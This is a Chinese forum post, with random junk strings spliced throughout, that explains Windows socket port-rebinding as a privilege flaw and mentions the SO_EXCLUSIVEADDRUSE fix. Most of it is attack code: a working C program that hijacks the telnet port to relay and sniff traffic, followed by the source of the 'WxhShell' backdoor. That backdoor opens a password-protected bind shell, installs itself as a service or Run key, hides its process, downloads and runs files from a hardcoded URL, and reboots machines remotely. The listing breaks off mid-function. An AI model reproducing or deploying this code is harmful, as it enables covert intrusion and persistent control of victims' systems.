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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3yXY.>' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {}Za_(Y,] y)gKxRaCS saddr.sin_family = AF_INET; [c06 N$: xP,hTE saddr.sin_addr.s_addr = htonl(INADDR_ANY); jNy.Y8E& V470C@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n-OL0$Xu "g#i'"qnW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k;L6R!V D#)b+7N- 这意味着什么?意味着可以进行如下的攻击: E+JqWR5 V2G6Kw9gt 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]$_NyAoBb kSh( u 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?F;8Pa/ !v0LBe4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /FJu)H..U })?GzblI& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 = 9]~yt B93+BwN>95 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vZoaT|3
G] w1DV\Ap* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
}>X~ O1mKe%'| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VAu&@a` *=c1do%F #include }Z,x~G #include I
2|Bg,e #include '6Q=#:mc\ #include uRr o?m< DWORD WINAPI ClientThread(LPVOID lpParam); >oe]$r int main() E+w<RNBmz { \K!VNB>h WORD wVersionRequested; Z/;aT -N DWORD ret; Vy,DN~ag WSADATA wsaData; 5o8EC"
0 BOOL val; {,~3.5u SOCKADDR_IN saddr; }~e%J( SOCKADDR_IN scaddr; /Mu@,)'' int err; Hg$lXtn] SOCKET s; ~`:L?Jkb6H SOCKET sc; 1PV'?tXp( int caddsize; EJNU761 HANDLE mt; fx>4 DWORD tid; Gk /fBs wVersionRequested = MAKEWORD( 2, 2 ); v OpKNp err = WSAStartup( wVersionRequested, &wsaData ); =$Nq if ( err != 0 ) { r|Tcfk]% printf("error!WSAStartup failed!\n"); r?
E)obE return -1; [ ~&/s:Vvo } W]5w \ saddr.sin_family = AF_INET; 7Da` o$lM$E: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _8_R 1s 4u5-7[TZ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]F'e
aR saddr.sin_port = htons(23); @7j AL - if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v<( { "mvt>X printf("error!socket failed!\n"); h|{]B,.Lh return -1; <T|3`#o0 } h'&%>Q2 val = TRUE; W+ko q*P //SO_REUSEADDR选项就是可以实现端口重绑定的 oEKvl3Hz_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =w
2**$ { l#Y,R 0 printf("error!setsockopt failed!\n"); xRLT=.ir return -1; aH/
k Ua }
k5.Lna //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'op|B@y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;P%1j| 7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [;),\\u,d ~<F8ug# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9H`XeQ. { RO/FF<f ret=GetLastError(); GH:jH]u!V printf("error!bind failed!\n"); {go;C} return -1; Xg!{K3OS }
MC.)2B7 listen(s,2); C
mWgcw1 while(1) "N bq#w\ { #-i>;Rt caddsize = sizeof(scaddr); /zVOK4BqN+ //接受连接请求 %%gc2s sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !/i{l if(sc!=INVALID_SOCKET) 9c,'k#k { N.{H,oO ` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Jgd'1'FOs if(mt==NULL) ++Ts { 8_B4?` k printf("Thread Creat Failed!\n"); ;dZZ;#k% break; T{ XS")Vw } 9u}Hmb } lbl?k5 CloseHandle(mt); a>I+]`g } _
y8Wn}19f closesocket(s); EF}\brD1 WSACleanup(); cZU=o\ return 0; k(7&N0V%zz } lKp"xcAD DWORD WINAPI ClientThread(LPVOID lpParam) .P%bkD6M { `1{ZqRFQ SOCKET ss = (SOCKET)lpParam; F]]]y5t SOCKET sc; /,&<6c-Q@W unsigned char buf[4096]; [<6^qla SOCKADDR_IN saddr; FX`>J6l:X long num; 4,gK[ dc DWORD val; H-*yh! DWORD ret; *>'V1b4} //如果是隐藏端口应用的话,可以在此处加一些判断 (WO]Xq< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 <~'"<HwtK saddr.sin_family = AF_INET; `FDiX7M saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '+!1Y o'G saddr.sin_port = htons(23); suiS&$-E if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /dQl)tL { sF?TmBQ* printf("error!socket failed!\n"); Jg\zdi:t return -1; hl (hJfp } 1&evG-#<: val = 100; sRL`dEl4l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >xYpNtEs { 9gEwh< ret = GetLastError(); O/a4]r+_ return -1; ]kRfB:4ED } _] sn0rX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uHvp;]/0\ { lC("y'
:: ret = GetLastError(); a85$K$b> return -1; `nv~NLkl } \lf;P?M^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [-k { m^f0V2M_ printf("error!socket connect failed!\n"); (%e.:W${ closesocket(sc); 2%@4] closesocket(ss); ukfQe }I return -1; ag#S6E^%S } 8Pn#+IvCE while(1) fg!__Rdi { zrL$]Oy}x //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )c83/= <v //如果是嗅探内容的话,可以再此处进行内容分析和记录 foF({4q7b^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %.Fi4}+O num = recv(ss,buf,4096,0); i,E{f if(num>0) wQH<gJE/: send(sc,buf,num,0); rc>4vB_ha else if(num==0) K>r,(zgVc break; &(G\[RWp\ num = recv(sc,buf,4096,0); gk[aM~p if(num>0) 3kIN~/<R+7 send(ss,buf,num,0); Ym{tR,g7 else if(num==0) ?{|q5n break; 6?mibvK } +[A QUc closesocket(ss); % X+:o]T closesocket(sc); RLynEV;] return 0 ; !N7s dY } J^nBdofP 8#
>op6^ F2dHH^ ========================================================== ogtEAv~e7N rEnQYz 下边附上一个代码,,WXhSHELL U;V7 u/{ lL3khJ:% ========================================================== uK#4(eY=W dTC7Fm #include "stdafx.h" ~xfP:[u 7he,?T)vD #include <stdio.h> T`.O'! #include <string.h> Lh"<XYY #include <windows.h> D>@I+4{p #include <winsock2.h> be{H$9' #include <winsvc.h> 3n1;G8Nf #include <urlmon.h> ]Svt`0|} 1N^[.= #pragma comment (lib, "Ws2_32.lib") ^f
&XQQY #pragma comment (lib, "urlmon.lib") +EAsW(F1 @ ZwvBH #define MAX_USER 100 // 最大客户端连接数 =wHVsdNCN #define BUF_SOCK 200 // sock buffer Zq|I,l0+E #define KEY_BUFF 255 // 输入 buffer t#/YN.@r !t%j?\f #define REBOOT 0 // 重启 VT%NO'0 #define SHUTDOWN 1 // 关机 /W30~y :P\7iW #define DEF_PORT 5000 // 监听端口 Ic:(Gi- % ,I$`-$_' #define REG_LEN 16 // 注册表键长度 /y#f3r+*2 #define SVC_LEN 80 // NT服务名长度 Gg3,:A_ w y$F'(b|) // 从dll定义API gX}8#O.K$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <#y[gTJ<'> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yZ(zdM\/sL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gQelD6c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [0[i5'K: k>Vci{v // wxhshell配置信息 eRstD>r struct WSCFG { i2U{GV<K-r int ws_port; // 监听端口 He/8=$c% char ws_passstr[REG_LEN]; // 口令 qu6D 5t int ws_autoins; // 安装标记, 1=yes 0=no 7qLpZ/ char ws_regname[REG_LEN]; // 注册表键名 C12Fl char ws_svcname[REG_LEN]; // 服务名 %2/EaaR char ws_svcdisp[SVC_LEN]; // 服务显示名 ks qQM char ws_svcdesc[SVC_LEN]; // 服务描述信息 `$<.pOm char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m
3hrb- int ws_downexe; // 下载执行标记, 1=yes 0=no 2K6qY)/_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" c|B('3h char ws_filenam[SVC_LEN]; // 下载后保存的文件名 18d4fR 4 Y9`IgQ }; #u(^0'
P ]G=L=D^cK // default Wxhshell configuration W$;,CU.v struct WSCFG wscfg={DEF_PORT,
J+DDh=% "xuhuanlingzhe", V`d,qn)i 1, Bz-c$me1 "Wxhshell", S_4?K)n # "Wxhshell", =^f<v_L "WxhShell Service", FZ<gpIv!NS "Wrsky Windows CmdShell Service", n;C
:0 "Please Input Your Password: ", K Hu+9eX 1, f#"J]p " http://www.wrsky.com/wxhshell.exe", GL0L!="! "Wxhshell.exe" bMu+TgAT, }; wn, KY$/ qzLPw*; // 消息定义模块 SC!RbW@3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #ut char *msg_ws_prompt="\n\r? for help\n\r#>"; AW'0,b`v char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 7~%?# char *msg_ws_ext="\n\rExit."; *NaB#;+|k` char *msg_ws_end="\n\rQuit."; =tn)}Y.<e char *msg_ws_boot="\n\rReboot..."; 0c]/bs{} char *msg_ws_poff="\n\rShutdown..."; N7QK>
"a char *msg_ws_down="\n\rSave to "; ,vawzq[oSy "'.UU$]d char *msg_ws_err="\n\rErr!"; Z'W=\rl char *msg_ws_ok="\n\rOK!"; KVaiugQ VG#EdIiI char ExeFile[MAX_PATH]; vjCu4+w($Z int nUser = 0;
3E]plj7$ HANDLE handles[MAX_USER]; ^4hO int OsIsNt; Xp% v.M "5!oi]@>( SERVICE_STATUS serviceStatus; uc\Kg1{ SERVICE_STATUS_HANDLE hServiceStatusHandle; e@07 hJ? O],4J // 函数声明 [`[|l
int Install(void); ^_W#+>&-- int Uninstall(void); aEWWP] int DownloadFile(char *sURL, SOCKET wsh); 1Z2HUzqh. int Boot(int flag); t+G#{n void HideProc(void); A#<? 4& int GetOsVer(void); V>LwqS~` int Wxhshell(SOCKET wsl); .},'~NM] void TalkWithClient(void *cs); yNo0ubY int CmdShell(SOCKET sock); *W1dG#Np} int StartFromService(void); ~?Pw& K2 int StartWxhshell(LPSTR lpCmdLine); 6OIte-c eA ?RK.e VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I)[DTCJ~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); aCj&O:]= :#ik. D // 数据结构和表定义 ^|>PA:% SERVICE_TABLE_ENTRY DispatchTable[] = ,HV(l+k {| { 5` ~JPt {wscfg.ws_svcname, NTServiceMain}, IdYt\^@> {NULL, NULL} RJ&RTo }; xn(kKB. At>DjKx]O // 自我安装 vWv" int Install(void) T2W eE@o { g2ixx+`?|: char svExeFile[MAX_PATH]; Y('#jU HKEY key; hH3RP{'= strcpy(svExeFile,ExeFile); h"Q8b}$^) b3[!V{| // 如果是win9x系统,修改注册表设为自启动 q!7ANib6O if(!OsIsNt) { Y=I'czg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4f@rv^f(X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WDD%Q8ejV& RegCloseKey(key); itP,\k7>d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =BAr .m+" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _8J.fT$${ RegCloseKey(key); p38-l'{# return 0; JR21>;l#2 } HM1Fz\Sf } aFm_;\ } &`r-.&Y else { -3*]G^y2 mdg8,n // 如果是NT以上系统,安装为系统服务 k%#EEMh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4.aZ#c91_ if (schSCManager!=0) FVbb2Y?R { Lg.gfny[(t SC_HANDLE schService = CreateService R+z2}}Z!` ( Y\P8v schSCManager, #p&qUw wscfg.ws_svcname, 7Q9 w?y~c wscfg.ws_svcdisp, "+nRGEs6 SERVICE_ALL_ACCESS, U9 s& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?e4YGOe. SERVICE_AUTO_START, t%)7t9j SERVICE_ERROR_NORMAL, @b%=H/5\ svExeFile, k]|~>9eY] NULL, +@f26O7$* NULL, lfgq=8d NULL, Qd{CMmx NULL, ;ef}}K NULL o:'MpKm ); GL}]y -f if (schService!=0) ec;o\erPG { I$G['`XX/ CloseServiceHandle(schService); {dlXLx!B CloseServiceHandle(schSCManager); ^uc=f2=>, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {}n^cq strcat(svExeFile,wscfg.ws_svcname); iWkWR"ysy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |YWD8 + RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); adcE'fA<_ RegCloseKey(key); EME|k{W return 0; ;JT-kw6l5K } `$9x 1dx } a58H9w"u) CloseServiceHandle(schSCManager); qInR1 r< } 9W5lSX#^; } *N<]Xy@ ,ZNq,$j return 1; ;igIZ$& } |wMN}bq|T s ll\g // 自我卸载 ]F~dlH1Wp int Uninstall(void) %[TR^Th6 { :3Ox~o HKEY key; |HQW0 M|h3Wt~7 if(!OsIsNt) { ;$|nrwhy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \gaw6S>n} RegDeleteValue(key,wscfg.ws_regname); Wn2NMXK RegCloseKey(key); ^^$s%{ep" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IEi^kJflU RegDeleteValue(key,wscfg.ws_regname); U7F!Z(
9 RegCloseKey(key); 90rol~M& return 0; =UQ3HQD } \}b%E'+_T } vvMT}-! } !Ai@$tl[S else { [9L:),&u
FW4<5~'
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W{+2/P if (schSCManager!=0) 3nQ`]5.Q
w { #c!lS<z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ld~/u]K%V if (schService!=0) C&%_a~ { cm+Es6; if(DeleteService(schService)!=0) { TD0
B% CloseServiceHandle(schService); Wac&b CloseServiceHandle(schSCManager); J*M>6Q.) return 0; va@Lz&sAE% } wP@(?z CloseServiceHandle(schService); kTgEd]^&D } gwMNYMI CloseServiceHandle(schSCManager); _G@GpkSe> } ZY+qA } ;A*]l'[- oMa6(3T?E return 1; I\ob7X'Xu! } lymCH g) jYFfGfH // 从指定url下载文件 ~$^XP.a. int DownloadFile(char *sURL, SOCKET wsh) )ez9"# MH' { 99QU3c<. HRESULT hr; 3=j"=-= char seps[]= "/"; PJH& char *token; rV#ch( char *file; /U9"wvg char myURL[MAX_PATH]; :$c
| char myFILE[MAX_PATH]; f
;n3&e0eC Fx.=#bVX7 strcpy(myURL,sURL); #_p\Ie*rd token=strtok(myURL,seps); sO@Tf\d while(token!=NULL) UaeXY+O { :vbW file=token; O\r0bUPE token=strtok(NULL,seps); ~9@UjQ^)F } kxv1Hn"`{E .ioEIs g GetCurrentDirectory(MAX_PATH,myFILE); 7kEn \ strcat(myFILE, "\\"); \4fQMG strcat(myFILE, file); c^W)07-X5y send(wsh,myFILE,strlen(myFILE),0); a:w#s}bL send(wsh,"...",3,0); &^jXEz; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ` Sz}`+E if(hr==S_OK) G 3ptx!
D return 0; NgPk&niM else bk[!8-b/a return 1; R6->t #n, f@!.mDm] } i/Zd8+.n$ -iZ`Y? // 系统电源模块 3Y$GsN4ln int Boot(int flag) Q$"D]!G { FYQS)s HANDLE hToken; ;2QP7PrSY TOKEN_PRIVILEGES tkp; |A(Iti{v tCt#%7J;a if(OsIsNt) { +ZP7{% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p`qgrI` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?:0Jav tkp.PrivilegeCount = 1; Mo|2}nf tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (E1~H0^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >m\(6x8RE if(flag==REBOOT) { m8[j #=h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v]UwJz3< return 0; (ToUgVW1N } xAm6BB
c else { a%0EiU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QMm%@zH return 0;
[$UI8tV } t]G:L}AOl } X:{!n({r= else { @H8EWTZ if(flag==REBOOT) { q)
KKvO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !&E-}}< return 0; W(p_.p"
} Ow,b^| else { 8z\xrY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]Hv[ IodJ return 0; #/37V2E } $*m-R*kt } YS_;OFsd ^iYj[~ return 1; Wd
ELV3 } *LY8D<:zs U6s[`H3I{ // win9x进程隐藏模块 f|(M.U- void HideProc(void) xT2PyI_: { 9>#6*/Oa7 K*d Cc}:` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @C aG9] if ( hKernel != NULL ) A3*!"3nU { %;!.n{X pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8 Fbo3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hi[pVk~B) FreeLibrary(hKernel); <~=Vg } a8Wwq?@ xgtR6E^k return; }Y4qS } 8q7b_Pq1U <gBA1oRz // 获取操作系统版本 <OPArht int GetOsVer(void) L}NSR { }<:}XlwT% OSVERSIONINFO winfo; /qw.p# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QS`] GetVersionEx(&winfo); \l3h0R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =Fl^`*n return 1; T51
`oZ` else _SkLYL!=9 return 0; akQ7K } Oow2>F%_# BDVtSs<7 // 客户端句柄模块 8dhUBJ0_ int Wxhshell(SOCKET wsl) FN73+-:n:j { i}?>g -( SOCKET wsh; Y<8vw
d struct sockaddr_in client; /a o5FL DWORD myID; U/BR*Zn]* :M5l*sIO2 while(nUser<MAX_USER) zx7{U8*`< { &kw@,];4Z int nSize=sizeof(client); &+R?_Ooibk wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ehY5!D1Q if(wsh==INVALID_SOCKET) return 1; LOJAWR9$^U [ikOb8 G# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xId.GWY1 if(handles[nUser]==0) KK &?gTa closesocket(wsh); A5w6]: f2 else p()xz nUser++; Du){rVY^d } Lj;2\] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <0?W{3NqI DlNX 3 return 0; |^H5^k "Bv } ;*&-C9b Wv/=O} // 关闭 socket ete.!*= void CloseIt(SOCKET wsh) RpYERAgT { cCc(fF*^ closesocket(wsh); )\^-2[; nUser--; $,'*f?d ExitThread(0); \uMLY<]P } N}YkMJy TuqH*{NNy9 // 客户端请求句柄 FC"8#*x void TalkWithClient(void *cs) :eLVC7' { wec)Ctj+ lb1Xsgm{ SOCKET wsh=(SOCKET)cs; 5*D/%]YsD char pwd[SVC_LEN]; 2GStN74X r char cmd[KEY_BUFF]; "C3/T&F char chr[1]; 6S\8$ int i,j; {FTqu. @xZR9Z8]L while (nUser < MAX_USER) { RCLeA=/N@0 ~^b/( if(wscfg.ws_passstr) { u>/ TE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \5cpFj5% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n{SJ_S#a.a //ZeroMemory(pwd,KEY_BUFF); A.w:h;7 i=0; 5E_YEBO/ while(i<SVC_LEN) { 2dgd~
4nz 35BLr // 设置超时 C2)2) fd_set FdRead; YT8F#t8 struct timeval TimeOut; c6/=Gq{. FD_ZERO(&FdRead); sUm' FD_SET(wsh,&FdRead); 7T'B6`-Ox TimeOut.tv_sec=8; r!{Up7uL TimeOut.tv_usec=0; FU<Jp3<% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7vj2
`+r. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dGTsc/$ 8e"gW >f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /vb`H>P pwd =chr[0]; -s'-eQF J if(chr[0]==0xd || chr[0]==0xa) { mlS$>O_aX pwd=0; ?b5^ break; !$>R j } Nl(Foya%) i++; VOh4#%Vj } @$K"o7+] F1Bq$*'N$w // 如果是非法用户,关闭 socket _t}WsEQ+P if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5 + MS^H } $
o#V# 8SS|a send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h3@v+Z<} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t<?,F Y:)e(c"A while(1) { B^jc3 VsR t@+}8^M ZeroMemory(cmd,KEY_BUFF); m<2M4u BJo*'US-Q // 自动支持客户端 telnet标准 ?5 [=(\/. j=0; W'u># while(j<KEY_BUFF) { vEz"xz1j!] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ib791 cmd[j]=chr[0]; '>C5-R:O if(chr[0]==0xa || chr[0]==0xd) { yJe>JK~) cmd[j]=0; u08mqEa break; c-FcEW } t.\dpBq j++; 8|58 H } Yk Qd
1]/.` ]1 // 下载文件 g95`.V} if(strstr(cmd,"http://")) { z,%$+)K send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2SR: FUV/ if(DownloadFile(cmd,wsh)) t#eTV@- send(wsh,msg_ws_err,strlen(msg_ws_err),0); !m?-!: else d9|<@A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3|Xyl`i4o } tcog'nAz else { }?v )N).kW Z>#i** switch(cmd[0]) { 2Q:+_v k~FRD?[u // 帮助 _``=cc case '?': { ^@NU}S):yN send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pIKPXqA break; ,UdVNA } x.R4%Z // 安装 Y% 5eZ=z case 'i': { ZO$%[ftb if(Install()) jdJ>9O0A, send(wsh,msg_ws_err,strlen(msg_ws_err),0); R]*K:~DM else SGlNKA},A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qK&d]6H
R break; [0D.K}7| } ijx0gh`~ // 卸载 0>Z_*U~6 case 'r': { *%@h(js if(Uninstall()) =+d?x56 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2*#|Nj=^ else sZF6h=67D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <0q;NrvUb break; by/jYg)+ } Hc(OI|z~ // 显示 wxhshell 所在路径 kt$jm)UI~l case 'p': { XACm[NY_ char svExeFile[MAX_PATH]; [Hh9a;.*}h strcpy(svExeFile,"\n\r"); x0:m-C strcat(svExeFile,ExeFile); e'b(gD} send(wsh,svExeFile,strlen(svExeFile),0); *,WU?tl& break; N^:9Fz } %&t<K3&Yh // 重启 ,7K`[ case 'b': { wz ~d(a# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PBkt~=j if(Boot(REBOOT)) ,{?%m6.lE send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0F><P?5 else { \.#>=!Ie closesocket(wsh); )U{Qj5W+F ExitThread(0);
_~ iw[*#u } SQt4v" break; O#S.n#{ } P1' al // 关机 ChXq4] case 'd': { #"iu|D send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [-oc>;`=l if(Boot(SHUTDOWN)) AX/m25x send(wsh,msg_ws_err,strlen(msg_ws_err),0); w!clI8v/ else { O55 xS+3^k closesocket(wsh); !5uGd`^I ExitThread(0); cJ
@Wt>YI } 03S]8l break; HBx=\%;n } Z^MNf // 获取shell !^Y(^RS@ case 's': { 6MdiY1Lr!K CmdShell(wsh); agW@{c closesocket(wsh); l}sjD[2 ExitThread(0); K1!j fp break; ax5<#3__ } ur7q [n // 退出 ut/=R !(K case 'x': { =D#bb<o send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :$BCRQ CloseIt(wsh); um>6z_" break; ^\&e:Nkh } !9P';p}2 // 离开 2JcjZn case 'q': { *w0%d1 send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bad:no\W closesocket(wsh); O~K>4ax WSACleanup(); (|1A?@sJ#h exit(1); nq8C'Fo!6T break; hJ~Uf5Q } e|WJQd4+S } XaPV94 } >y:,9; 7!TueP0Zd // 提示信息 VrQmP if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'K{Z{[s{ } :I^;jdL } b9<#K+L- t$#jL5 return; vJOw]cwq } XtSkh] #z! uurh??R // shell模块句柄 !6>~?gNd int CmdShell(SOCKET sock) s
3f-7f< { O]Qd<%V'x STARTUPINFO si; 3Xy-r=N. l ZeroMemory(&si,sizeof(si)); en*GM}<V si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G`BU=Fi si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J B]q PROCESS_INFORMATION ProcessInfo; iaE^a^* char cmdline[]="cmd"; H{?vbqQ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "J8vjr1/ return 0; 0Bi.6r } e 5*hE OL,TFLn4 // 自身启动模式 ^qQZT] int StartFromService(void) >!bJslWA { FOy|F-j typedef struct 8=uu8-l8g { x$Oq0d{T DWORD ExitStatus; kH7(@Pa DWORD PebBaseAddress; 3e;^/kf<9 DWORD AffinityMask; ]B3=lc" DWORD BasePriority; Vi]W |bP ULONG UniqueProcessId; po Vx8oO8 ULONG InheritedFromUniqueProcessId; bU:EqW\( ^ } PROCESS_BASIC_INFORMATION; -^h' >. k=JrLfD4 PROCNTQSIP NtQueryInformationProcess; T1Z;r*} ={d>iB yq static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O5kz5b>Z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v8[I8{41 usK*s$ns HANDLE hProcess;
sAS:-wp PROCESS_BASIC_INFORMATION pbi; RA'M8:$ $jI3VB HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); > $7v
